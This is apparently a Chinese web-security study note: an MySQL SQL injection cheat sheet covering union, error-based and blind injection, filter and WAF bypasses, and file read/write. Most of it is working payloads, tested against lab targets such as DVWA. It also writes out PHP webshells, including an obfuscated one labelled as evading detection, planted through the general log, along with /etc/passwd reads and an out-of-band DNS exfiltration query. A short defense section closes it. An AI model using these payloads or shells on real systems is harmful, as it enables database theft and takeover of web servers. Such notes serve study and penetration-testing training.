文章目录
1. 前言
总结完mysql数据库的基本操作后,我们来看看如何对mysql数据库进行sql注入攻击。
mysql的基本操作可见:web安全学习-sql注入-mysql基础。
有关于字符串生成的一些基础字符:true=1,floor(pi())=3,ceil(pi())=4,floor(version())=5,ceil(version())=6
补充:读取客户端本地文件到服务端mysql数据库
使用load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\n';
就会把客户端的文件读取到服务端,并且不再受到secure_file_priv的导入导出限制。
补充:利用全局日志写shell
outfile被禁止,或者写入文件被拦截
在数据库中操作如下:(必须是root权限)
1.show variables like ‘%general%’; #查看配置
2.set global general_log = on; #开启general log模式
3.set global general_log_file = ‘/var/www/html/1.php’; #设置日志目录为shell地址
4.select ‘<?php eval($_POST[cmd]);?>’ #写入shell
不成功的案例,如果mysql 被降权,是无法写入到其他的站点目录的,除非你的目标目录是可以写入的。
SQL查询免杀shell的语句:
SELECT “<?php $p = array(‘f’=>’a’,’pffff’=>’s’,’e’=>’fffff’,’lfaaaa’=>’r’,’nnnnn’=>’t’);$a = array_keys($p);$_=$p[‘pffff’].$p[‘pffff’].$a[2];$_= ‘a’.$_.’rt';$_(base64_decode($_REQUEST[‘pwd’]));?>”
补充:修改mysql的root密码
1.例如你的 root用户现在没有密码,你希望的密码修改为123456,那么命令是:
mysqladmin -u root password 123456
2.如果你的root现在有密码了(123456),那么修改密码为abcdef的命令是:
mysqladmin -u root -p password abcdef
补充:配置远程登录
vim /etc/mysql/my.cnf
cd /etc/mysql/mariadb.conf.d/
vim 50-server.cnf
service mysql restart
设置mysql远程登录账号的密码
查看当前配置
use mysql;
select host, user,password from user;
select host, user,authentication_string from user;
授权root用户登录,密码为123456:
grant all privileges on *.* to 'root'@'%' identified by '123456' with grant option;
flush privileges;
远程登录:
补充:低权限下读文件
load data local infile 'D:\\QMDownload\\PHPTutorial\\www\\Sqlilabs\\phpinfo.php' into table users fields terminated by '' lines terminated by '\n';
补充:高版本mysql中代替select的一种方法
mysql 8.0.19新增语句table
table users 相当于 select * from users;
补充:特定情况下利用反引号选择列名
先将列名定义为1-8
select 1,2,3,4,5,6,7,8 union select * from users;
如果列数判断错那么会报错:
提取第二列的数据:
select `2` from (select 1,2,3,4,5,6,7,8 union select * from users)c;
补充:判断是否存在注入点
首先判断注入类型,说是注入类型其实就是找到一种格式来让我们注入后的sql语句闭合。
假设sql语句原本是:
select id,user from user where id = ’ x ';
我们选择1' or 1 ='1
作为注入语句就可以闭合前后两个单引号。实际执行的语句为:
select id,user from user where id = '1' or 1 = ' 1';
语句会查询user表中id等于1与者其他所有的数据的id与user字段。
假设在没有任何waf和过滤的情况下,有一个疑似注入点为id
,输入id=1有正常的数据:
' #直接输入一个单引号
如果发现页面报错,即可确定有注入点。
1 and 1 = 2
如果发现报错,即可确定有注入点,且为数字型注入,无需闭合单引号。如果没有任何反应的话就可能是字符型注入,也就是可能有单引号闭合的。
1' and 1 = 1 #
1‘ and 1 = 2 #
如果第一条语句成功,第二条语句失败则证明是字符型注入。
这里只提供一种思路,实际环境不同会导致测试方法也有很大不同。
补充:mysql中重要的函数
1. LOAD_FILE
1' and false UNION select (SELECT LOAD_FILE('/etc/passwd')),2 -- x
2. mid
从得到的数据中截取指定长度的结果,例如下面这句条命令,就是从users表的password字段中截取第一组数据,从这组数据的第一个字符开始一共截取三个字符并显示,使用这个函数必须知道字段名
。
1' and false UNION select (select mid(password,1,3) from users limit 0,1),null -- x
3. concat、concat_ws、group_concat
这三个函数他们的用途都是组合字符串,concat函数来链接字符串的时候,如果被链接的字符串含有null则链接结果不显示,举例如下:
3.1 concat
正常情况下:
select concat(0x23,'ffffffff',0x23);
将中间的字符串改为null则如下,会直接显示null:
select concat(0x23,null,0x23);
3.2 concat_ws
不过如果是concat_ws则不会出现这个问题,即使有null数据也会正常显示其他数据,并会用concat_ws中的第一个字符作为风格字符,下面的风格字符为0x23也就是#,具体举例如下:
select concat_ws(0x3c2d3e,null,1,2,null,3);
3.3 group_concat
group_concat,可以用来查询一个表中的几个字段,并将其连接起来然后显示在一个回显处。
3.4 实战利用
这几个函数的主要优势在于可以同时查询好几个结果并同时显示,如果不使用函数的话,则只能一条一条查结果,举例如下:
concat_ws用法
下面这条语句同时查询了database()与version(),并用**\来作为分隔符。
1' and false UNION select concat_ws(0x5c2a2a5c,(select database()),(select version())),null -- x
group_concat用法
1' and false UNION select (select group_concat(first_name,'<-->',password,'\n') from users),null -- x
4. Count()
来统计结果一共有多少行,例如select count(*) from users;就是统计这个users表中所有数据一共多少行。
这条命令求出了users表一共有5行。
1' and false UNION select concat_ws('<--->',(select count(*) from users)),null -- x
5. rand()
取一个0-1之间的平均数
1' and false UNION select concat_ws('<--->',((select rand()))),null -- x
6. floor()
1' and false UNION select concat_ws('<--->',(floor((select rand())))),null -- x
由于随机数是0到1之间的,所以向下取的话只能是0,结果如下:
7. group by
根据某一个字段进行排序:
-1' group by 2 -- x
可以确定当前的sql语句中有原本查询了几个字段,但不能确定当前表中一共有几个字段,有点类似于order by,举例如下:
如果将2改为3,则:
查看源代码,可知道只查询了两个字段:
8. length()
返回字符串的长度。
1' and false UNION select concat_ws('<--->',(length((select database())))),null -- x
数据库是dvwa,刚好是4个字符,根据length函数的回显,也可知道是4个字符。
9. Substr()
截取字符串并显示,例如substr(‘123’,1,2),表示截取123,从第1个字符开始,显示两个。
select substr('123',1,2)、
10. Ascii()
求出字符的ascii
select ascii('1');
11. UpdateXml
报错注入的时候用到,它本身的作用是根据xpath语法对指定的xml数据进行替换,函数的第二个参数都要求是符合xpath语法的字符串。
updatexml(参数1,xpath格式的参数2,参数3)
12. extractvalue
报错注入会用到,它本身的作用是根据xpath语法查询指定格式的xml数据,函数的第二个参数都要求是符合xpath语法的字符串。
extractvalue(参数1,xpath格式的参数2)
13. @@version_compile_os
查看操作系统版本
select @@version_compile_os;
14. case
基于时间的盲注的时候,如果逗号被过滤可以使用case函数来代替if函数。
select case when('2'>'1') then sleep(2) else 1 end;
15. regexp
正则表达式,可以代替等号
2. 注入攻击
mysql中可用的注释符:
注意,所有的注释符必须是英文符号,下表中的符号因为显示原因,直接复制的话有可能会复制成中文符号。
补充:注释符
注释符 | 举例 |
---|---|
# | 1 ’ and false UNION SELECT 1,2# |
– x(x加不加无所谓,但是–后面必须加空格) | 1 ’ and false UNION SELECT 1,2-- x |
2.1 爆数据库名/版本号/主机名/用户名
2.1.1 得到当前数据库名
1' and false UNION SELECT (select database()),null -- x
1' and a()-1 -- x
得到数据库为dvwa
补充:得到当前mysql中其他数据库名
更改limit后面的数字即可查看其他。
1' and false UNION SELECT (SELECT concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1),null -- x
2.1.2 得到主机名
1' and false UNION SELECT (select @@hostname),null -- x
2.1.3 得到版本号
1' and false UNION SELECT (select version()),null -- x
2.1.4 得到用户名
1' and false UNION SELECT (select current_user()),null -- x
2.1.5 得到mysql安装路径
1' and false UNION SELECT (select @@basedir),null -- x
2.1.6 得到mysql的端口号
select @@port;
补充:查看mysql全局变量
所有全局变量都能用select @@value;来访问,例如select @@version;
查看全局变量方法:
SHOW GLOBAL VARIABLES;
2.2 爆破字段数
只要不报错,则字段数就为by后面的数字。不过这样子查找出的字段数不一定是真正的表中所有的字段数,只能说这个查出来的字段数是当前sql语句中查找的字段入,如果sql语句使用的是select * from…则应该就是所有的字段数,如果select id,username from …这种情况,即使表中本应有许多个字段,但是order by 后的数字夜只会是2。
1' order by 3 -- x
如果出现下图这种情况只有warning,那么有几个@就有几个字段。如果直接跳转页面报错则证明判断错误,这时候可更改@的数量,实际情况跟上面的order by的情况一样,得到的结果不一定是真实结果。
1' into @,@ -- x
判断已知表
的字段数,这个得到的结果是真实结果
。
1' and (select * from users) = 1 -- x
1' and false UNION SELECT ((select * from users)=1),null -- x
爆破所有列数的方法:
不一定会准确,有可能会爆破到performance_schema表的值,特点是performance_schema表的字段全都是大写。
SELECT count(*) FROM information_schema.columns WHERE table_name = '[table_name]'
使用order by爆破字段总数:
下面命令就是假设users表有八个字段,则回显为操作对象应该只有一列。
1' order by if(1=1,(select 1,2,3,4,5,6,7,8 union select * from users),1) #
我们假设其有7个字段,执行以下,发现报错为列数错误,即可确定,字段数为8.
1' order by if(1=1,(select 1,2,3,4,5,6,7 union select * from users),1) #
2.3 爆破表名
1' and false UNION select (SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),2 -- x
得到两个表,分别人guestbook,users。
也可使用innoDB表获得表名。
2.4 爆破字段名
union查询
1' and false UNION select (select group_concat(column_name) from information_schema.columns where table_name='users'),2 -- x
也可以使用join函数进行无列名注入来获取列名。
2.5 爆破value
1' and false UNION select (select password from users where first_name = 'admin'),2 -- x
得到密码password。
2.6 读/写文件
在MySQL中,存在一个称为secure_file_priv的全局系统变量。 该变量用于限制数据的导入和导出操作,例如SELECT … INTO OUTFILE语句和LOAD_FILE(),如果secure_file_priv变量为空那么直接可以使用函数,如果为null是不能使用,mysql 5.5.53版本之后默认为null,也就是不能进行文件操作。
也可以用下面两条命令进行查询,如果有结果且结果为yes则可以使用文件相关操作。
#需要root权限
select file_priv from mysql.user where user = 'root';
#不需要root权限
select grantee,is_grantable from information_schema.user_privileges where privilege_type = 'file' and grantee like '%root%';
load_file函数用来读文件:
1' and false UNION select (SELECT LOAD_FILE('/etc/passwd')),2 -- x
这两个函数都可以写文件,但是有很大的差别
INTO OUTFILE函数写文件时会在每一行的结束自动加上换行符
INTO DUMPFILE函数在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择
当我们在UDF提权的场景是需要上传二进制文件等等用OUTFILE函数是不能成功的 。outfile不会覆盖文件,只会接着文件原有内容继续写。
1' and false UNION select '3333333',null INTO OUTFILE '/tmp/123' -- x
确定文件写入成功。
2.7 无列名注入
前提是知道表名与表中有几个字段
1' and false UNION select ( select f.5 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)q,(select 5)iqq,(select 6)iqqq,(select 7)iqqqq,(select 8)d union select * from users limit 1 offset 2)f,(select 9)g,(select 10)h,(select 11)i,(select 12)q,(select 13)iqq,(select 14)iqqq,(select 15)iqqqq),null -- x
1' and false UNION select (select group_concat(`2`) from (select 1,2,3,4,5,6,7,8 union select * from users)a),2 #
`2`表示列名为2的那一列所有的数据
未知字段名爆破数据
information_schema被过滤了如之奈何其二
2.8 利用polygon函数直接猜解字段名
当输入一个不存在的字段名的时候显示如下:
1' and polygon(ff) #
如果是一个存在的字段名则显示如下:
1' and polygon(password) #
2.9 利用join获取字段名
前提是需要知道表名
select * from (select * from users as a join users b)c;
select * from (select * from users as a join users b using (user_id))c;
select * from (select * from users as a join users b using (user_id,first_name))c;
原理:
select * from users join users a;
这条语句的意思是将users表与users表结合成一张表,并把第二个users表重命名为a,通过下图我们可以看到,合成的表有相同的字段名。
select * from (select * from users join users a)c;
上面这条语句的意思是,将两个表结合成的新表明明为c,并从其从查询所有数据:
这时候mysql发现表中有重复的字段名,因此会报错。
select * from (select * from users join users a using(user_id))c;
上面语句的意思是,将所有字段名为user_id的字段的数据合并到一起,然后在进行数据查询,这时候发现还有别的字段是重复的,以此类推,可以查出所有重复的字段名,进而查出users表总所有的字段名:
补充:mysql带外注入
条件:
- secure_file_priv为空,版本基本5.5.53之前。
- mysql带外注入只能发生在windows机器上。
SELECT LOAD_FILE(CONCAT('\\\\',( SELECT DATABASE() ),'.xx.xx\\x'));
3.报错注入
报错注入就是利用报错页面当作回显,进而读取数据。
报错注入的时候可以用group_concat函数同时爆破出多个数据,但是因为格式原因可能显示不全,所以还是建议一个一个来。
1' and updatexml(1,concat(0x7e,(SELECT group_concat(0x7e,schema_name,0x7e) FROM information_schema.schemata),0x7e),1) -- x
其他类型
BIGINT等数据类型溢出
最大型整数运算溢出,mysql版本号大于5.5.5
,因为版本问题依旧失败。
select !(version())- ~0;
利用exp函数,要求mysql版本号为mysql5.5.44-5.5.47,由于我的版本号不对所以失败了。
select exp(~(select*from(select version())x));
3.1 基于floor函数
原理:mysql中一个重要的特性,就是group by与rand()使用时,如果临时表中没有该主键,则在插入前rand()会再计算一次,基于floor的报错必须同时存在group by,rand,floor三个函数,至于concat是为了拼接方便才使用的函数,也可以用concat_ws代替
,最少表中有三条数据才可以,如果用rand(14)*2,则最少两条数据即可。
我们用下面的语句做实验,得到的结果是dvwa1,我的数据库名就为dvwa,。
1' and false UNION select (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a),2 -- x
理论上说查询到的结果依次应为:
dvwa0
dvwa1
dvwa1
dvwa0
dvwa1
想象中的显示结果应该为:
count(*) | x |
---|---|
2 | dvwa0 |
3 | dvwa1 |
但实际的执行结果应该是这样子的:
我们首先要知道,使用count函数的时候,mysql会临时创建一个虚拟的表来使用,当count与group by函数同时使用的时候例如:select count(*),age from users group by age;
这句命令,系统就会输出一张表,这张表上会写不同年龄的数据具体有几条:
说到我们的命令:
1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) -- x
先得到数据dvwa0,发现没有数据,这时候应该向虚拟表中插入dvwa0这个数据,但因为mysql特性,再插入之前rand函数会再执行一次,因此实际插入虚拟表的数据就是dvwa1,然后进行下一次查询执行rand函数并插入数据dvwa1,这时候还剩两个数据,dvwa0与dvwa1。
系统此时得到dvwa0这个数据,发现没有记录,于是又执行了一次rand函数,因此dvwa1数据即将被插入,但是特性中还有一个就是当遇见这种情况的时候会认为当前数据也就是dvwa1是一个新的主键,于是系统就会创建新的主键名为dvwa1,但是之前就已经拥有一个主键名为dvwa1了,这时候同时出现了两个主键于是就报错了。
爆数据库版本
1' and (select 1 from (select count(*),concat((select @@version),floor(rand(0)*2))x from information_schema.tables group by x)a) -- x
爆破数据库
1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) -- x
爆表
1' and (select 1 from (select count(*),concat((SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- x
爆字段名
1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- x
爆值
1' and (select 1 from (select count(*),concat((select password from users where first_name = 'admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- x
爆破mysql中其他数据库
1' and(select 1 from(select count(*),concat((SELECT schema_name FROM information_schema.schemata LIMIT 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- x
查看当前链接用户
1' and(select 1 from(select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a) -- x
floor报错注入
floor函数报错注入原理
floor报错你真的懂了吗?
3.2 基于updatexml函数
因为UPDATEXML第二个参数需要Xpath格式的字符串,当其不符合要求的时候就会报错。
爆数据库版本
1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) -- x
爆破当前链接用户
1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) -- x
爆其他数据库名
可以用group_concat同时爆破出多个,但是因为格式原因可能显示不全,所以还是建议一个一个来。
1' and updatexml(1,concat(0x7e,(SELECT concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 1,1),0x7e),1) -- x
爆表
1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- x
爆字段
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1) -- x
爆value
1' and updatexml(1,concat(0x7e,(select password from users where first_name = 'admin' limit 0,1),0x7e),1) -- x
如果显示不全可以配合substr函数去读取没显示的数据,下面命令含义是读取admin的password,从第10个数字开始读,读取101个:
1' and updatexml(1,concat(0x7e,substr((select password from users where first_name = 'admin' limit 0,1),10,101),0x7e),1) -- x
22、注入篇————MYSQL数据库updatexml报错注入
3.3 基于extractvalue函数
原理跟updatexml基本一样。
爆版本号
1' and extractvalue(1,concat(0x7e,(SELECT @@version),0x7e)) -- x
爆数据库
1' and extractvalue(1,concat(0x7e,(SELECT database()),0x7e)) -- x
爆其他数据库
1' and extractvalue(1,concat(0x7e,(SELECT concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1),0x7e)) -- x
爆当前链接用户
1' and extractvalue(1,concat(0x7e,(SELECT user()),0x7e)) -- x
爆表名
1' and extractvalue(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) -- x
爆字段名
1' and extractvalue(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) -- x
爆value
1' and extractvalue(1,concat(0x7e,(SELECT password from users where user='admin' limit 0,1),0x7e)) -- x
爆其他数据库的数据
1' and extractvalue(1,concat(0x7e,(SELECT concat(name,'<->',age) from testdb.new123 limit 0,1),0x7e)) -- x
3.4 防御方法
屏蔽能造成报错注入的各种函数,函数
对输入长度做限制,对用户输入做预处理
对各种报错注入的返回结果,统一返回至不包含任何错误提示信息的回显页面。
使用数据库防火墙,精准分析业务SQL和危险SQL,拦截SQL注入等危险语句
4. 盲注
当页面无回显且无法报错当时候,会用到盲注。盲注的时候可以使用length函数配合来得到被查询数据的总体长度,再根据ascii与substr与if、sleep函数对其进行猜解。
4.1 基于布尔盲注
补充:mysql中binary的用法
order by排序是不分大小写的,可以使用binary将其转化为16进制后直接比大小,方便进行基于布尔的盲注。
利用ascii、substr函数来截取数据并得到字符的ascii码,但这时候我们并不知道它具体是多少,随机取一个字符的ascii码与刚截取到的ascii码进行比较,用二分法猜解最终得到真实的字符的ascii码,进而得到字符。举例如下:
我们已知道数据库为dvwa,这时候我们选择猜解数据库名的第一个字符:
我们猜解其第一个字符的ascii码小于101:
1' and ascii(substr((select database()),1,1))<101 -- x
得到的回显是true
我们猜解这个字符的ascii小与99
1' and ascii(substr((select database()),1,1))<99 -- x
发现回显为false。
由此我们可以判断这个值大于99且小与101,则这个值为100。我们查询一下看这个字符的ascii是不是等于100:
1' and ascii(substr((select database()),1,1))=100 -- x
发现回显为true,证明判断成功。
我们已知数据库名为dvwa,则第一个字符为d,查询d的ascii值为100:
综上已经得到了数据库的第一个字符。至于后面爆破其他数据的话,逻辑是一样的。只需要更改ascii(substr((x),1,1))
这个函数组合即可,将x改为查询语句然后改动后面第一个1依次读数据进行比较即可。
4.2 基于时间的盲注
基于时间的盲注跟基于布尔的盲注只有一个区别,除了ascii与substr函数外多了一个函数if,举例如下,还是爆破数据库名的第一个字符:
这个语句的意思是,如果数据库名的第一个字符的ascii码小于101则睡眠3秒,否则返回1。
1' and if((ascii(substr((select database()),1,1))<101),sleep(3),1) -- x
发现三秒之后这个圈圈才会不转,证明我们判断正确了,也就是ascii小于101
我们再进行一次判断,看其ascii码是否小于99,当然我们已知这个判断是错的,因此不会睡眠三秒,事实发现只用了6ms就完成了请求,证明了数据库名第一个字符的ascii码不是小与99的:
1' and if(ascii(substr((select database()),1,1)),sleep(3),0)<99 -- x
发现
综上数据库的第一个字符为100,我们将注入语句的判断改成100并将sleep改为4看看:
1' and if((ascii(substr((select database()),1,1))=100),sleep(4),1) -- x
网页卡了4秒,证明猜测正确。查询其他数据的方法跟布尔型一样的,这里不做赘述。
补充:新的猜解字符的方法
find_in_set
函数的用法是在第二个参数中寻找第一个参数,如果有的话则返回第二个参数重第一个参数的位置,例如下面的例子,在’c,b,a’中查找a,a在第三个位置,所以返回值为3:
select find_in_set('a','c,b,a');
我们用这个方法直接猜解结果,猜解数据库的第一个字符在‘a,b,c,d’这个字符串中的位置,并将其返回值设置为sleep函数的参数,因为我们已知数据库名为dvwa,第一个参数为d,所以返回值应该为4,页面会睡眠4秒:
1' and sleep(find_in_set((substr((select database()),1,1)),'a,b,c,d')) -- x
可以把这个函数与ascii猜解同时使用,当ascii猜解到10个字符范围的时候,可以直接利用find_in_set函数来爆破出结果。
5. 绕过各种过滤
5.1 当单引号被过滤
%bf那个位置可以是%81-%fe中间的任何字符。
#宽字节注入
如果数据库采用的是gbk编码则可使用
%bf
能使用宽字节注入的条件:
1.在PHP中使用mysql_query(“set names GBK”);指定三个字符集(客户端、连接层、结果集)都是GBK编码。
2.使用set names UTF-8指定了UTF-8字符集,使用iconv函数(或者mb_convert_encoding)将参数从GBK先转为UTF-8,然后再拼接入SQL语句。
提交payload:
http://127.0.0.1/foo.php?bar=admin %e5%5c%27 or 1 = 1 %23
变换过程:(e55c转为UTF-8为e98ca6)
e55c27====(addslashes)====>e55c5c5c27====(iconv)====>e98ca65c5c27
3.使用iconv进行字符集转换,将UTF-8转为GBK,同时,set names字符集为GBK。提交%e9%8c%a6即可。
提交payload:
http://127.0.0.1/foo.php?bar=admin %e9%8c%a6%27 or 1 = 1 %23
这个情景的大前提是先编码后转义:
e98ca627====(iconv)=====>e55c27=====(addslashes)====>e55c5c27
修补方案:
1.(1)使用mysql_set_charset(GBK)指定字符集
(2)使用mysql_real_escape_string进行转义
2.使用character_set_client设置为binary(二进制)。
深入探究宽字节注入漏洞与修补原理
浅析白盒审计中的字符编码及SQL注入
#url编码
%27
#hex编码
数字型注入中可以用hex编码绕过单引号,字节使用hex编码表示字符即可
#使用char函数
select * from users where username=char(97,100,109,105,110)#' and password='';
5.2 =等号、大于小于号被过滤
用like或者in代替
1' and 1 like 1 #
1' and 1 in (1) #
当大于小于号被过滤当时候用between来代替
5.3 空格被过滤
#特殊字符绕过
%a0
%20
%09
%0a
%0b
%0c
%0d
%a0
#偶数数量的-或奇数数量的!:
1'and!!!1=1#
1'and--1=1#
#过滤符号
1'and/**/1=1#
#括号
1'and(1=1)#
5.4 and、or被过滤
逻辑&&与||绕过
5.5 union被过滤
双写绕过
大小写绕过
/*!50000from*/
绕过
5.6 select被过滤
双写绕过
大小写绕过
/*!50000from*/
绕过
5.7 from被过滤
双写绕过
大小写绕过
/*!50000from*/
绕过
5.8 order by 被过滤
使用into或者group by代替
5.9 if被过滤
- 先试一下正常的的字符被过滤的绕过方法
- 用case函数代替
5.10 过滤符号被过滤(#、–、`)
注释符 | 举例 |
---|---|
`(反向单引号,在tab键上方) | 1 ’ and false UNION SELECT 1,2` |
# | 1 ’ and false UNION SELECT 1,2# |
– x(x加不加无所谓,但是–后面必须加空格) | 1 ’ and false UNION SELECT 1,2-- x |
5.11 information_schema、columns、tables、database、schema等关键字或函数被过滤
这里说一下,现在网络上能搜索到的文章大部分都是利用innoDB引擎绕过对information_schema的过滤,如果不能用innoDB则可以先参考跟select被过滤的解决方法,innoDB表是用来记录数据库最近的数据变动的。
innodb是mysql中的一个储存数据的引擎,并在MySql5.5之后的版本成为默认的引擎
如果mysql版本大于5.7,也可以使用sys数据库来进行查询,具体细节查看下面的文章。
聊一聊bypass information_schema
Mysql注入新姿势—innodb存储引擎的利用
information_schema被过滤了如之奈何其二
information_schema被过滤了如之奈何其一
补充:绕过magic_quotes_gpc
%2527
绕过magic_quotes_gpc过滤,因为%25解码为%,结合后面的27也就是%27也就是’,所以成功绕过过滤。
5.12 逗号被过滤
联合查询使用join代替
1' and false union select * from ((select 1)A join (select 2)B) #
基于时间的盲注的时候,如果逗号被过滤可以使用case函数来代替if函数。
select case when('2'>'1') then sleep(2) else 1 end;
limit 1 offset 0 代替limit 0,1
若逗号被过滤,那么substr(‘abc’,1,1)可以写成substr(‘abc’ from 1 for 1)。
补充:注入字符或登录框
以dvwa为例,登录框的函数可能是这样的:
直接在用户名那边写admin’#,密码随便写就能进去。
如果有一个sql语句是这样:
select password from users where user = '$name';
我们可以更改$name的值,将其改为以下三个中的任意一个,即可得到所有user的password:
'^'
'+'
'/2#
原理是这样的,假设表中又一个user为admin,当我们使用第一个'^'
来进行注入的时候,sql语句的判断部分就会变成where 'admin' = ''^''
,然而这个结果是永真的,所以会得到所有的password。
原因是这样的,后面空跟空异或是0,然后字符跟数字比较的时候,字符就等于0或者等于字符开头的第一个数字,例如字符为1admin,那么其就等于1,2admin就等于2。而这个字符是admin所以直接就等于0,所以where 'admin' = ''^''
永真。
sleep等函数被过滤
使用代替函数
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
绕waf
https://github.com/shanfenglan/MYSQL_SQL_BYPASS_WIKI
7. 防御方法
1.php中配置display_errors=Off关闭错误提示。
2.php尽量使用字符型的sql语句,使用单引号扩住用户传入的参数,然后对用户传入的单引号进行转译或者过滤。
3.使用预编译语句。
4.使用mysql_real_escape_string()函数,可以转译单引号与双引号,php。
5.用正则表达式匹配来替换恶意字符。
6.转换数据类型,例如用intval将数据全部转化为int型。
8. 参考文章
Bypass disabled_functions一些思路总结
Web-Security-Learning
mysql注入可报错时爆表名、字段名、库名
详解SQL盲注测试高级技巧
MySQL False注入及技巧总结
Mysql注入攻击与防御
sql注入总结
报错注入原理分析
SQL注入之获取指定数据库数据Mysql(基础篇)
order by 注入总结
mysql运算符
sql绕过方法总结
SQL注入绕过技巧
浅谈mysql注入下的奇技淫巧